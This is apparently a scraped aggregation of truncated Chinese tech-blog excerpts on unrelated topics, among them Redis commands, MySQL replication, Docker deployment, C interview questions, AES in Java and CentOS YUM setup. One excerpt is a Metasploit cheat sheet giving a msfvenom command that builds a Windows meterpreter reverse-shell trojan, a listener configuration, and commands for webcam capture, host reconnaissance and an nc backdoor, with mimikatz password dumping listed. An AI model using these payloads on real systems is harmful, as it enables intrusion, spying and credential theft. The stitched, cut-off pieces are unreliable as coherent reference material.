点击上方蓝字关注我 Redis(Remote Dictionary Server)是一个开源的内存数据结构存储系统,常被用作数据库、缓存和消息队列等。它支持多种数据结构,包括字符串、哈希表、列表、集合和有序集合。以下是 Redis 的一些常见操作: 一、连接 Redis 可以使用 redis-cli 命令连接到 Redis 服务器。例如: redis-cli -h host -p port -a password 其中 host 是 Redis 服务器的主机名,port 是 Redis 服务器的端口号,password 是连接密码(如果有)。 二、操作String(字符串)类型 设置键值 要设置一个键值对,请使用SET命令。例如,要将键“name”设置为值“ctt”,可以执行以下操作: 127.0.0.1:6379> SET name ctt 2. 获取键值 要获取键值,请使用GET命令。例如,要获取键“name”的值,可以执行以下操作: 127.0.0.1:6379> GET name 这将返回键“name”的值,“ctt”。 3. 设置过期时间 要为一个键设置过期时间,请使用EXPIRE命令。例如,要将键“name”的过期时间设置为60秒,可以执行以下操作: 127.0.0.1:6379> EXPIRE name 60 查看过期指定key的过期时间,可以用TTL命令 127.0.0.1:6379> TTL name 返回的结果便是剩余时间(到期key会自动删除[目前先这么认为,不同版本的不同角色处理有差异]),如果返回-1,则表示无过期时间 4. 判断键是否存在 要检查一个键是否存在,请使用EXISTS命令。例如,要检查键“name”是否存在,可以执行以下操作: 127.0.0.1:6379> EXISTS name 如果键存在,则返回1;如果键不存在,则返回0。 也可以使用TYPE命令 127.0.0.1:6379> TYPE name 返回对应的类型(如,string)则说明key存在,返回“none”说明key不存在。 还可以用TTL命令判断 127.0.0.1:6379> TTL name 返回对应的时间(>=0的数字),则说明key存在,对应的数字为剩余过期时间;

Vue3项目之IndexedDB 数据存储方案

IndexedDB 数据存储方案 前言:IndexedDB 是一种底层 API ,用于在客户端存储大量的结构化数据,该 API 使用索引实现对数据的高性能搜索。 IndexedDB 是一个事务型数据库系统,也是一个基于 JavaScript 的面向对象数据库,它提供了类似数据库风格的数据储存和使用方式,我们只需要指定数据库模式,打开与数据库的连接,然后检索和更新一系列事务 目的:当我们进行一些较大的SPA页面开发时,我们会需要进行一些数据的本地存储。当数据量不大时,我们可以通过 SessionStorage 或者 LocalStorage 来进行存储,但是当数据量较大,或符合一定的规范时,我们可以使用数据库来进行数据的存储。 1、基本概念和 API 数据库:存储数据的地方,每个域名可以创建多个数据库 对象仓库:也就是 objectStore ,每个数据库包含若干个对象仓库 索引:可以为对象仓库中的属性创建对应的索引,并且根据索引来查询数据,一般索引名称和索引属性一致 事务:数据库里的增删改查操作都是通过事务( transaction )来完成,作用于 this.db 数据记录:每一条数据都是一条记录,有对应的 key 、 value 、主键、索引等属性 推荐文档:https://blog.csdn.net/imagine_tion/article/details/115000245 基本步骤:1、创建数据库连接 2、创建 objectStore 3、创建一些索引 4、通过事务来进行数据库操作

【Web安全-MSF记录篇章一】

文章目录 前言msfvenom生成远控木马基本系统命令webcam 摄像头命令常用的信息收集脚本注册表设置nc后门开启 rdp&添加用户获取哈希mimikatz抓取密码 前言 最近打站,可以感觉到之前的学的渗透知识忘记很多。。。。。多用多看多练,简单回顾一下 msfvenom生成远控木马 msfvenom是用来生成后门的软件,在目标主机上执行后门,在本地监听上线。 这里就拿windows来举例子 windows可执行程序后门: msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.xx.xx lport=4444 -f exe -o demo.exe -p: payload payload_name: 系统/架构/作用/方式 lhost:kali lport:监听的端口 -f:指定输出格式 -o:output 在实际环境中,想办法将生成的木马上传到目标主机(通过历史漏洞、中间件解析漏洞、等等方式),并且用户要有执行权限,不然就要先提权了。 下面就要用到最常用的主机监听模块了:multi/handle,对指定主机,指定端口进行监听 use exploit/multi/handler #使用监听模块 set payload windows/x64/meterpreter/reverse_tcp #设置payload,不同版本的系统,payload不同 set host 192.168.xx.xx #设置kali的ip set lport 5555 #设置监听的端口 run 此时,在受害机上执行我们生成的木马(大部分情况下是无法直接上传的,各种杀软会将其拦截,这个时候就需要加壳、免杀等等,后续会进行总结)就可以成功拿到主机的控制权限。 基本系统命令 sessions #sessions –h 查看帮助 sessions -i <ID值> #进入会话 -k 杀死会话 background #将当前会话放置后台 run #执行已有的模块,输入run后按两下tab,列出已有的脚本 info #查看已有模块信息 getuid # 查看权限 getpid # 获取当前进程的pid sysinfo # 查看目标机系统信息 ps # 查看当前活跃进程 kill <PID值> 杀死进程 idletime #查看目标机闲置时间 reboot / shutdown #重启/关机 shell #进入目标机cmd shell webcam 摄像头命令 webcam_list #查看摄像头 webcam_snap #通过摄像头拍照 webcam_stream #通过摄像头开启视频 常用的信息收集脚本 run post/windows/gather/checkvm #是否虚拟机 run post/linux/gather/checkvm #是否虚拟机 run post/windows/gather/forensics/enum_drives #查看分区 run post/windows/gather/enum_applications #获取安装软件信息 run post/windows/gather/dumplinks #获取最近的文件操作 run post/windows/gather/enum_ie #获取IE缓存 run post/windows/gather/enum_chrome #获取Chrome缓存 run post/windows/gather/enum_patches #补丁信息 run post/windows/gather/enum_domain #查找域控 注册表设置nc后门 upload /usr/share/windows-binaries/nc.

Pycharm 进程已结束,退出代码-1073741819 (0xC0000005)

在用python做界面开发时,多个界面都有连接数据库,界面一连接数据库的代码放到了构造函数中,使其第一次运行时没问题,当其他界面也连接数据库了,此时界面一的连接就会断掉。所以在界面一操作与数据库有关的操作时会报错。 解决办法:将数据库连接封装成函数,并再次调用。

Jenkins+docker发布Springbot服务

1.开发Springbot应用 新建多个环境的配置文件 bootstrap.yaml 通过变量获取不同环境active bootstrap-dev.yml bootstrap-pre.yaml 预发布及生产环境配置文件走nacos 二.配置docker 新增Dockerfile文件 Dockerfile内容 # Docker image for springboot file run # VERSION 0.0.1 # Author: eangulee # 基础镜像使用java FROM openjdk:8 # 作者 MAINTAINER qql <xxx@qq.com> # VOLUME 指定了临时文件目录为/tmp。 # 其效果是在主机 /var/lib/docker 目录下创建了一个临时文件,并链接到容器的/tmp VOLUME /tmp # 设置时区 ENV TZ=Asia/Shanghai RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone # 将jar包添加到容器中并更名为app.jar ARG JAR_FILE ADD target/cdc-0.0.1-SNAPSHOT.jar /app.jar #替换成你项目打包后的文件名称 #配置项目端口 EXPOSE 8020 # 运行jar包 RUN bash -c 'touch /app.

DX机器人 评论区

代找电子书,同时书库包库Share dx 机器人 dx 非机器人 独秀2.0-5.0库 1000W+ ,外加300W+其它 包库Share,随意备份,带所有book目录 机器人24h小时在线 不积分,不限量, 附带 book 格式转换tools,pdg2pic pic2pdf等等 书签获取tools,加书签tools 机器人 按需分配不会出现消息被覆盖的情况 非机器人 公用机器人 专用机器人 均有 附带详细使用教程的 详见评论区

C语言面试题整理

1.什么是预编译? 预编译又称预处理,是整个编译最先做的工作,及程序执行前的一些预处理工作 主要处理开头的指令,如拷贝 #include包含的文件代码、替换#define定义的宏、条件编译等 何时需要预编译? 总是使用并不经常改动的大型代码体 2. # 和 ##的作用? #是宏参数 字符串替换运算符,## 是把两个 宏参数 连接起来的运算符 #define STR(arg) #arg //STR(hello) ---> hello #define NAME(x,y) x##y //NAME(1,2) ---->12 3.static 的用法 修饰局部变量,该变量(栈区)变成静态存储类型,该变量存在于内存的静态区,作用域不变。 修饰全局变量,该变量的作用域,只能在该文件中使用。不能在其他文件中通过extern引用 修饰函数, 静态函数只能在申明它的源文件中使用 4. extern 关键字的作用 用来修饰变量或函数,表明该变量或函数都是在别的文件中定义的,提醒编译器在其他文件中寻找定义 5. sizeof 的用法 计算对象或类型所占的内存字节数 sizeof 求得的结构体(及其对象)的大小,不等于各个数据成员大小之和 sizeof运算符 和函数strlen的区别与用法 sizeof()计算分配空间的字节数 strlen()计算空间中的字符个数(不包括'\0') char str[20] = {"hello world"}; int a[10]; sizeof(str); //20 sizeof(a); //4*10 strlen(str); //11 6.结构体的赋值 C语言中对结构体变量的赋值##在初始化##或者在定义后按字段赋值 1. struct dog{ char a; int b; }x={ 'a' ,2 };

MySql主从复制原理

一、概述 1、什么是主从复制? 概念 主从复制是用来建立一个和 主数据库完全一样的数据库环境称为从数据库;主数据库一般是准实时的业务数据库。 2、主从复制作用 我们来思考如果在企业网站中,后端MYSQL数据库只有一台时候,会有以下问题: 1、单点故障服务不可用 2、无法处理大量的并发数据请求 3、数据丢失 所以通过主从复制后,它的优点就很明显 1、如果主节点出现故障,那么我们就直接将服务切到从节点,来保证服务立马可用。 2、如果并发请求特别大的时候,我们可用进行读写分离操作,让主库负责写,从库负责读。 3、如果主库数据丢失,但从库还保存一份,减少数据丢失的风险。 二、主从复制原理 1、主从复制原理 上面主要分成了三步,下面会详细说明。 (1) Master的更新事件(update、insert、delete)会按照顺序写入bin-log中。当Slave连接到Master的后,Master机器会为Slave开启binlog dump线程,该线程会去读取bin-log日志 (2) Slave连接到Master后,Slave库有一个I/O线程 通过请求binlog dump thread读取bin-log日志,然后写入从库的relay log日志中。 (3) Slave还有一个 SQL线程,实时监控 relay-log日志内容是否有更新,解析文件中的SQL语句,在Slave数据库中去执行。 什么是binlog binlog介绍 binlog 二进制日志文件,这个文件记录了MySQL所有的DML操作。通过binlog日志我们可以做数据恢复,增量备份,主主复制和主从复制等等。 binlog是记录所有数据库表结构变更(例如CREATE、ALTER TABLE…)以及表数据修改(INSERT、UPDATE、DELETE…)的二进制日志。不会记录SELECT和SHOW这类操作,因为这类操作对数据本身并没有修改,但可以通过查询通用日志来查看MySQL执行过的所有语句。 需要注意的一点是,即便update操作没有造成数据变化,也是会记入binlog。 binlog有两个常用的使用场景: 主从复制:mysql replication在master端开启binlog,master把它的二进制日志传递给slaves来达到master-slave数据一致的目的。数据恢复:通过mysqlbinlog工具来恢复数据。 binlog 归档日志:(以后备份恢复用到) (1)binlog 是 MySQL 的Server层实现的,所有引擎都可以使用。 (2)binlog 是逻辑日志,记录的是这个语句的原始逻辑,比如“给 ID=2 这一行的 c 字段加 1 ”.redo log 是物理日志,记录的是“在某个数据页上做了什么修改” (3)binlog 是可以追加写入的。“追加写”是指binlog 文件写到一定大小后会切换到下一个,并不会覆盖以前的日志。redo log 是物理日志,记录的是“在某个数据页上做了什么修改”。 3. 如何恢复到半个月任意一秒的状态 保存半个月的binlog,定期备份 依次提取当时的binlog,按照时间顺序重放的到需要的时刻 总结:binlog是做备份的,binlog 中记录的是sql语句,或行的内容。当想恢复到之前几小时,几天或者几个月的数据时,就需要依次提取当时的binlog,按照时间顺序重放的到需要的时刻。 redo log 和 binlog 都是顺序写,比磁盘的随机写要快;

程序员的三门课,学习成长笔记

最近是有了解到一本好书,叫做程序员的三门课在这本书的内容当中我也确实汲取到了很多前辈能够传达出来的很多关于程序员职业规划以及成长路线上的见解,令我受益匪浅,故此想要把阅读完的每一章节结合自己的工作经验做一个精细化的小结,用以日后的知识巩固与回顾学习 文章目录 1、程序员技能与成长1.1 如何学习一个新的知识点1.1.1 选择好的学习方式1.1.2 勤加练习1.1.3 带着问题学习1.1.4 教是最好的学 1.2 使用静态代码分析工具代码审查(Code Review) 1、程序员技能与成长 1.1 如何学习一个新的知识点 学习一个新的知识点主要从以下4个点出发 1.1.1 选择好的学习方式 学习的方式多种多样,可以通过看视频也可以通过看书,也可以通过看对应知识点的官方文档来进行学习,针对于我自己的实践思路来说的话,我主要从官方文档出发,因为官网是最权威的地方。举一个例子,例如学习RocketMQ 第一步,我会先从官网了解这个中间件的整个系统架构图,这个中间件包含哪些组成部分,每个部分具体是负责什么角色,当了解完系统架构以后 第二步,写一个官方文档的quickStart,快速实践,这也是我认为从学习中能够获得成就感的一点 第三步,根据当前自己业务上需要使用到该中间间的特性进行实践与快速上手 第四步,结合实战与源码进行深入的原理分析与学习,例如项目中用到的顺序消息,延时消息是如何实现的,如何保证消息不会丢失,如何解决消息积压问题,如何做消息幂等,等等一系列问题 由此四步,学习知识由浅入深,由点成线,再由线成面 1.1.2 勤加练习 这个没啥好说的,多动脑,多动手,不确定的地方就去做尝试,看真实的运行结果是如何的 1.1.3 带着问题学习 这里借用书中的例子,问问题采用六何法,what、who、when、where、why、how 例如学习单例,由此引发下面几个问题 1.什么是单例? 2.单例解决什么问题? 3.如何实现单例? 4.有没有更好的实现方式? 1.1.4 教是最好的学 举个最简单通俗易懂的例子,就像我现在写的这篇博客,我是为了加深我学习这本书的印象,同时在总结时结合自己真实的工作经验,在写这些成长笔记的时候,确实也让我感受到了这句话的含义 1.2 使用静态代码分析工具 这里直接推荐阿里的P3C代码扫描插件,可以在IDEA中进行安装,并且可以配置为在每次代码提交前进行扫描,可以帮助我们避免大部分空指针等问题 代码审查(Code Review)

web测试和app测试的区别

相同性: 测试流程和功能测试是一样的。 不同性 1.架构的区别 1.web项目是b/s架构,基于浏览器的。web测试只要更新了服务器端,客户端就会同步更新,而且客户端是可以保证每一个客户端是完全一致的。 2.app测试是c/s的必须要有客户端。但是APP端是不能够保证完全一样的,除非是用户更新客户端,意味着客户端所使用的核心版本都需要进行回归测试一遍。 2.性能方面 1.web页面只会关注响应时间。 2.APP端还需要关心流量、电量、CPU、GPU、memory。 3.兼容性方面 1.web是基于浏览器的,更倾向于电脑硬件和浏览器,电脑系统方向的兼容,而浏览器兼容则是一般选择浏览器内核进行测试(IE,谷歌,火狐)。 2.app则是必须依赖于手机,pad,测试分辨率、屏幕大小、设备系统(苹果/安卓)。 4.安装、卸载、更新 1.web测试不必考虑这些。 2.而app是客户端,必须完成安装、卸载。 5.界面操作 1.web界面测试是指,布局是否合理,整体风格是否一致,各个控件的放置位置是否符合用户使用习惯;界面操作性便捷性,导航是否简单易懂,页面元素的可用性,接麦那种文是否正确,页面是否美观,文字、图片组合是否和谐等。 2.app产品是都是使用的触摸屏手机,所以测试的时候需要注意手势,横竖屏切换,多点触控,事件触发区域等。 另外 1.只有app的有点异常场景,安装过程当中来电,短信,关机,重启。 2.弱网测试是app中必须执行的一项! 下面是我整理的思维导图

Java实现十大排序算法

文章目录 1 相关概念2 算法实现1 冒泡排序2 快速排序3 插入排序直接插入排序折半插入排序 4 希尔排序(shell排序/缩小增量排序)5 选择排序6 堆排序7 归并排序8 计数排序9 桶排序10 基数排序 3 算法执行效率 1 相关概念 算法的稳定性 假设在数组中存在a[i]=a[j],若在排序之前,a[i]在a[j]前面;并且排序之后,a[i]仍然在a[j]前面。则这个排序算法是稳定的。 算法的稳定性并不能衡量一个算法的优劣,它主要是对算法的性质进行描述。如果待排序表中的关键字不允许重复,则排序结果是唯一的, 那么选择排序算法时的稳定与否就无关紧要。 在排序过程中,根据数据元素是否完全在内存中,可将排序算法分为两类: 内部排序,是指在排序期间元素全部存放在内存中的排序外部排序,是指在排序期间元素无法全部同时存放在内存中,必须在排序的过程中根据要求不断地在内、外存之间移动的排序 一般情况下,内部排序算法在执行过程中都要进行两种操作:比较和移动。通过比较两个关键字的大小,确定对应元素的前后关系,然后通过移动元素以达到有序。 每种排序算法都有各自的优缺点,适合在不同的环境下使用,就其全面性能而言,很难提出一种被认为是最好的算法。 2 算法实现 工具类 import java.lang.reflect.Method; import java.util.Arrays; import java.util.Random; public class MySortUtils { public static void swap(int[] a, int i, int j) { int temp = a[i]; a[i] = a[j]; a[j] = temp; } public static void swap2(int[] a, int i, int j) { a[i] = a[i] + a[j]; a[j] = a[i] - a[j]; a[i] = a[i] - a[j]; } /** * 获取一个包含10个整数的数组,数组每个元素为[0,100]内的随机数 * * @return */ public static int[] getArr() { int arrLen = 10; Random random = new Random(); int[] a = new int[arrLen]; for (int i = 0; i < a.

TypeScript学习笔记

目录 前言: 1 TS基础知识 1.1 TS中新增六个类型 1.2 类型断言: 2 接口interface 2.1 定义接口 2.2 属性规则 2.3 高级用法 3 函数 3.1 函数类型 3.2 参数 3.3 函数重载 4 泛型函数 4.1 基本语法 4.2 利用定义泛型类的函数和函数类的泛型 4.3 泛型约束 4.4 在泛型约束中使用类型参数 5 TS中的类 5.1 基本语法 5.2 修饰符 5.3 类里的属性 6 类型 6.1 类型推论 6.1.1 基础使用 6.2 类型兼容性 6.2.1 函数兼容性 6.3 枚举兼容性 6.4 类的兼容 6.5 泛型兼容性 7 类型保护 8 显示复制断言 8.1 null和undefined的补充 8.2 显示赋值断言 9 类型别名和字面量类型 10 可辨识联合类型

Java实现加密(一)AES加解密

目录 1.背景知识2.AES简介3.AES的加密过程(AES处理单位:字节)4.Java实现4.1 生成密钥和偏移量4.2 AESUtil.java 源码4.3 执行结果4.4 线上验证 1.背景知识 在密码学中,加密算法分为单向加密和双向加密。 单向加密包括MD5、SHA等摘要算法,它们是不可逆的。双向加密包括对称加密和非对称加密。双向加密是可逆的,存在密文的密钥。 对称加密是指加密和解密使用相同的密钥,包括AES加密、DES加密等。非对称加密是指加密和解密使用不同的密钥,包括RSA加密等。 2.AES简介 AES: 高级加密标准(Advanced Encryption Standard)是美国联邦政府采用的一种区块加密标准,是目前最流行的一种对称加密算法。 是用来替代DES的新一代分组加密算法。AES支持三种长度的密钥:128位、192位、256位。 3.AES的加密过程(AES处理单位:字节) AES的加解密过程和DES一样,都是通过分组加密、分组解密。所谓分组加密,就是将待加解密的内容按照128位进行分组,将密钥按照128位、192位、256位进行分组,分别将分组后的明文与相应分组后的密钥进行加解密。 加密: 明文与密钥分组后,对每组:明文组与密钥组处理 -> 轮密钥加 -> 10轮加密 -> 密文组 解密: 对每组:密文组 -> 轮密钥加 -> 10轮解密 -> 明文组 明文分组: 每组长度相等,都是128位(16字节); 密钥分组: 有128位、192位、256位,推荐加密轮数分别为 10、12、14 密钥组处理: 以密钥分组每组128位为例(则推荐加密轮数为10,前9次执行操作一样,第十次有所不同) 类似地,128位密钥也是用字节为单位的矩阵表示,通过密钥编排函数,形成具有44个元素的序列W[0],W[1], … ,W[43](每个元素4个字节);其中,W[0],W[1],W[2],W[3]为原始密钥,其余40个元素分为10组,每组4个元素(4*4=16字节),分别用于10轮加密。 AES加密算法涉及4种操作: 字节替代(SubBytes)、行移位(ShiftRows)、列混淆(MixColumns)和轮密钥加(AddRoundKey)。下图给出了AES加解密的流程: AddRoundKey (轮密钥加)— 矩阵中的每一个字节都与该次轮密钥(round key)做XOR运算;每个子密钥由密钥生成方案产生。SubBytes(字节替代) — 通过非线性的替换函数,用查找表的方式把每个字节替换成对应的字节。ShiftRows(行移位) — 将矩阵中的每个横列进行循环式移位。MixColumns (列混淆)— 为了充分混合矩阵中各个直行的操作。这个步骤使用线性转换来混合每列的四个字节。 假如一段明文长度是192bit,如果按每128bit一个明文块来拆分的话,第二个明文块只有64bit,不足128bit。这时候怎么办呢?就需要对明文块进行填充(Padding)。 填充涉及以下三种填充模式: NoPadding:不做任何填充,但是要求明文必须是16字节的整数倍。 PKCS5Padding(默认):如果明文块少于16个字节(128bit),在明文块末尾补足相应数量的字符,且每个字节的值等于缺少的字符数。 比如明文:{1,2,3,4,5,a,b,c,d,e},缺少6个字节,则补全为{1,2,3,4,5,a,b,c,d,e,6,6,6,6,6,6} ISO10126Padding:如果明文块少于16个字节(128bit),在明文块末尾补足相应数量的字节,最后一个字符值等于缺少的字符数,其他字符填充随机数。 比如明文:{1,2,3,4,5,a,b,c,d,e},缺少6个字节,则可能补全为{1,2,3,4,5,a,b,c,d,e,5,c,3,G,$,6} 4.Java实现 注意:AES加密包含Base64加密 加密: AES加密 -> Base64加密 -> 密文

timm使用swin-transformer

1.安装 pip install timm 2.timm中有多少个预训练模型 #timm中有多少个预训练模型 model_pretrain_list = timm.list_models(pretrained=True) print(len(model_pretrain_list), model_pretrain_list[:3]) 3加载swin模型一般准会出错 model_ft = timm.create_model('swin_base_patch4_window7_224', pretrained=True, drop_path_rate = 0.2) 报错的内容如下 Downloading: "https://github.com/SwinTransformer/storage/releases/download/v1.0.0/swin_base_patch4_window7_224_22kto1k.pth" to /root/.cache/torch/hub/checkpoints/swin_base_patch4_window7_224_22kto1k.pth 解决办法 去swin官网下载对应的swin_base_patch4_window7_224.pth(所有模型我都存自己百度网盘了)文件 然后根据提示 重命名为swin_base_patch4_window7_224_22kto1k.pth 再将该文件移动到/root/.cache/torch/hub/checkpoints/ 该目录下 这样timm就可以爽歪歪的用了 4下载预训练模型的官网 官网:https://github.com/microsoft/Swin-Transformer 官网提供了百度云的下载连接hrnet https://github.com/HRNet/HRNet-Image-Classification 注意convnext connext输出与分类层的输入 一定要一样 timm中可用的swin模型 ```python #可用的swin模型 swin_transformer = ['swin_base_patch4_window7_224', 'swin_base_patch4_window7_224_in22k', 'swin_base_patch4_window12_384', 'swin_base_patch4_window12_384_in22k', 'swin_large_patch4_window7_224', 'swin_large_patch4_window7_224_in22k', 'swin_large_patch4_window12_384', 'swin_large_patch4_window12_384_in22k', 'swin_s3_base_224', 'swin_s3_small_224', 'swin_s3_tiny_224', 'swin_small_patch4_window7_224', 'swin_tiny_patch4_window7_224', 'swinv2_base_window8_256', 'swinv2_base_window12_192_22k', 'swinv2_base_window12to16_192to256_22kft1k', 'swinv2_base_window12to24_192to384_22kft1k', 'swinv2_base_window16_256', 'swinv2_cr_small_224', 'swinv2_cr_small_ns_224', 'swinv2_cr_tiny_ns_224', 'swinv2_large_window12_192_22k', 'swinv2_large_window12to16_192to256_22kft1k', 'swinv2_large_window12to24_192to384_22kft1k', 'swinv2_small_window8_256', 'swinv2_small_window16_256', 'swinv2_tiny_window8_256', 'swinv2_tiny_window16_256',] #可用的VIT模型 vision_tranformer = ['visformer_small', 'vit_base_patch8_224', 'vit_base_patch8_224_dino', 'vit_base_patch8_224_in21k', 'vit_base_patch16_224', 'vit_base_patch16_224_dino', 'vit_base_patch16_224_in21k', 'vit_base_patch16_224_miil', 'vit_base_patch16_224_miil_in21k', 'vit_base_patch16_224_sam', 'vit_base_patch16_384', 'vit_base_patch16_rpn_224', 'vit_base_patch32_224', 'vit_base_patch32_224_clip_laion2b', 'vit_base_patch32_224_in21k', 'vit_base_patch32_224_sam', 'vit_base_patch32_384', 'vit_base_r50_s16_224_in21k', 'vit_base_r50_s16_384', 'vit_giant_patch14_224_clip_laion2b', 'vit_huge_patch14_224_clip_laion2b', 'vit_huge_patch14_224_in21k', 'vit_large_patch14_224_clip_laion2b', 'vit_large_patch16_224', 'vit_large_patch16_224_in21k', 'vit_large_patch16_384', 'vit_large_patch32_224_in21k', 'vit_large_patch32_384', 'vit_large_r50_s32_224', 'vit_large_r50_s32_224_in21k', 'vit_large_r50_s32_384', 'vit_relpos_base_patch16_224', 'vit_relpos_base_patch16_clsgap_224', 'vit_relpos_base_patch32_plus_rpn_256', 'vit_relpos_medium_patch16_224', 'vit_relpos_medium_patch16_cls_224', 'vit_relpos_medium_patch16_rpn_224', 'vit_relpos_small_patch16_224', 'vit_small_patch8_224_dino', 'vit_small_patch16_224', 'vit_small_patch16_224_dino', 'vit_small_patch16_224_in21k', 'vit_small_patch16_384', 'vit_small_patch32_224', 'vit_small_patch32_224_in21k', 'vit_small_patch32_384', 'vit_small_r26_s32_224', 'vit_small_r26_s32_224_in21k', 'vit_small_r26_s32_384', 'vit_srelpos_medium_patch16_224', 'vit_srelpos_small_patch16_224', 'vit_tiny_patch16_224', 'vit_tiny_patch16_224_in21k', 'vit_tiny_patch16_384', 'vit_tiny_r_s16_p8_224', 'vit_tiny_r_s16_p8_224_in21k', 'vit_tiny_r_s16_p8_384',]` 参考文章 [vison transformer](https://zhuanlan.

【MySQL】多表查询(SQL99)—— 简单练习(尚硅谷)

尚硅谷多表查询章节练习 DB —— 链接:https://pan.baidu.com/s/1Z6qCAQrZY2kgTEE5w2a7Fg?pwd=wr8i —— 提取码:wr8i DBMS —— SQLyog 涉及的内容 —— 内连接、外连接 背景简单介绍: SQL有两个主要的标准SQL92和SQL99 MySQL不支持SQL92外连接(左外连接、右外连接、满外连接)的语法 我们以下使用的是SQL99的语法,它一共有七种连接方式如下图所示,非常的重要 # 第06章_多表查询_课后练习 ################################################################## # 一定要注意执行结果的记录条数,如果不对,肯定是有些关键点没有注意到 # ################################################################## DESCRIBE employees; DESCRIBE departments; DESCRIBE locations; SELECT * FROM employees; SELECT * FROM departments; SELECT * FROM locations; # 1.显示所有员工的姓名,部门号和部门名称。 # 注意题目里的所有,要考虑没有部门号和部门名称的员工 SELECT e.last_name,d.department_id,d.department_name FROM employees e LEFT JOIN departments d # 由于注意事项,选择左外连接 ON e.department_id = d.department_id; # 一共107条记录 # 2.查询90号部门员工的job_id和90号部门的location_id SELECT e.job_id,d.location_id FROM employees e JOIN departments d # 这里正常情况,直接使用SQL99内连接语法 ON e.

一文读懂MySQL分库分表的实现原理和策略

在大型的数据应用场景下,MySQL作为一个关系型数据库管理系统(RDBMS)是非常受欢迎的。然而,MySQL在处理大量数据时会遇到瓶颈,为了解决这个问题,分库分表是一种有效的解决方案。 分库分表的基本概念是将一个大型数据库分成多个较小的数据库(分库),并将每个数据库的数据进一步分成多个较小的表(分表),每个表只包含部分数据。这种方式使得查询和更新操作可以在多个数据库和表之间并行执行,提高了系统的扩展性和性能。 本文将介绍MySQL分库分表的实现原理、常见的分库分表策略、以及如何在MySQL中实现分库分表。 一、MySQL分库分表的实现原理 MySQL分库分表的实现原理可以归纳为以下几个步骤: 根据分库分表的策略,将原始数据分散到多个数据库和表中。针对每个分库分表建立一组相同的表结构,使得分散的数据可以在不同的数据库和表之间查询和更新。使用分库分表的中间件,将分散的数据重新组合成逻辑上的单一数据库,对外提供服务。 分库分表的中间件通常提供了以下功能: 对数据库和表的自动切分和合并。对SQL语句的自动路由和合并。对数据的自动备份和恢复。对事务的支持。 二、常见的分库分表策略 垂直分表 垂直分表是指将原始数据按照列拆分成多个表,每个表只包含某些列。这种策略通常用于处理包含大量无关字段的表。 例如,对于一个包含用户信息和订单信息的表,可以将用户信息和订单信息拆分成两个表,使得用户信息和订单信息可以分别存储在不同的表中。 2 水平分表 水平分表是指将原始数据按照行拆分成多个表,每个表只包含某些行。这种策略通常用于处理数据量大的表。 例如,对于一个包含订单信息的表,可以将订单信息按照订单号的哈希值分散到多个表中。 3 分库分表组合 分库分表组合是指将垂直分表和水平分表结合起来,同时对数据库和表进行切分。 例如,对于一个包含用户信息和订单信息的表,可以将用户信息和订单信息拆分成两个表,并将订单信息按照订单号的哈希值分散到多个表中,最终将这些表分散到多个数据库中。 三、在MySQL中实现分库分表 在MySQL中实现分库分表通常需要借助中间件,目前市面上比较流行的中间件有MyCAT、ShardingSphere等。这里以MyCAT为例,介绍在MySQL中如何实现分库分表。 安装MyCAT 首先需要下载MyCAT,并解压到本地目录。 2 配置MyCAT 在解压后的MyCAT目录中,打开conf目录,编辑server.xml文件,配置MySQL数据源和分片规则。 MySQL数据源配置示例: phpCopy code<system> <system-properties> <property name="systemReserveMemory" value="2048M" /> <property name="processors" value="16" /> <property name="dataHosts" value="localhost:3306" /> </system-properties> <dataHosts> <dataHost name="localhost" maxCon="1000" minCon="10" balance="0" writeType="0" dbType="mysql"> <heartbeat>select user()</heartbeat> <writeHost host="hostM1" url="jdbc:mysql://localhost:3306/test?useUnicode=true" user="root" password="root"> <readHost host="hostS1" url="jdbc:mysql://localhost:3306/test?useUnicode=true" user="root" password="root" weight="1" /> </writeHost> </dataHost> </dataHosts> </system> 分片规则配置示例:

Qt 中的QString

1、Qt中的字符串类 介绍 — 采用Unicode编码 — 采用隐式共享技术,节省内存和不必要的数据拷贝 隐式共享介于浅拷贝和深拷贝之间,当两个string对象赋值时,会实现浅拷贝(共享一块内存),如果某个对象被修改了,则会实现深拷贝(从新开辟内存) — 跨平台使用,不需要考虑不同平台的兼容性 1、QString直接支持字符串与数字的相互转换 2、QString直接支持字符串大小比较 3、QString直接支持不同字符编码间的相互转换 4、QString直接支持std::string和std::wstring的相互转换 5、QString直接支持正则表达式的应用 QString常用函数 QString str; str = "hello"; //直接赋值 str.length(); //获取字符串长度 str.size(); //获取字符串数量,等价于length() str.capacity(); //获取容量,容量包含了当前string里不必增加内存就能使用的字符数 str.isEmpty(); //如果str为空或为0 ,则返回true,否则返回false str.isNull(); //如果为0,则返回true,否则返回false str.clear(); //清空str str. resize(8); //设置str的字符串长度 str.fill('m'); //将str字符串,全部字符填为'm' str.fill('m',5); //填充5个字符'm',并修改str的字符串长度为5 str.append("ABC"); //在str字符串末尾附加"ABC"子串 str.prepend("abc"); //在str字符串头部添加"abc"子串 str.chop(2); //从str字符串末尾, 去掉2个字符 str = "Montreal"; str.remove(1, 4); //从str下标1位置开始,清除4个字符, s = "Meal" str.setNum(1234.5); //数字转字符串 str = "1234.5" double val = str.toDouble();//字符串转double val =1234.5 bool ret = false; str.

【Linux-Centos7.9_YUM源离线配置/在线更换国内源】

文章目录 Centos7.9_YUM源离线配置/在线更换国内源一、★YUM源定义二、★系统源镜像说明三、★离线YUM源配置3.1 镜像挂载3.2 镜像内容复制3.3 备份yum默认配置文件3.4创建yum配置文件3.5 生成缓存 四、★在线更换国内YUM配置4.1 备份默认yum配置文件4.2 下载对应版本repo文件4.3 生成缓存 五、★YUM基本命令六、★最后 Centos7.9_YUM源离线配置/在线更换国内源 本篇主要讲解在Linux-Centos7.9系统在离线状态下如何进行离线YUM源挂载、配置、使用和在线联网状态下进行国内yum源的更换。 一、★YUM源定义 yum( Yellow dog Updater, Modified)是一个在 Fedora 和 RedHat 以及 Centos中的 Shell 前端软件包管理器。基于 RPM 包管理,能够从指定的服务器自动下载 RPM 包并且安装,可以自动处理依赖性关系,并且一次安装所有依赖的软件包,无须繁琐地一次次下载、安装。yum 提供了查找、安装、删除某一个或一组甚至全部软件包的命令,而且命令简洁而又好记。 二、★系统源镜像说明 由于是断网离线状态下使用yum,所以对于yum源系统镜像的选取就非常重要的,本身自带的包越多就越不依赖于网络,所以在centos7.9系统镜像版本的选择是很重要的。在线环境请直接看第四小节。 如下表所示,选择的时候我们要选择下载:CentOS-7-x86_64-Everything-2009.iso,数据包最大的everything版本,也就意味着软件包最多。 [File Name][File 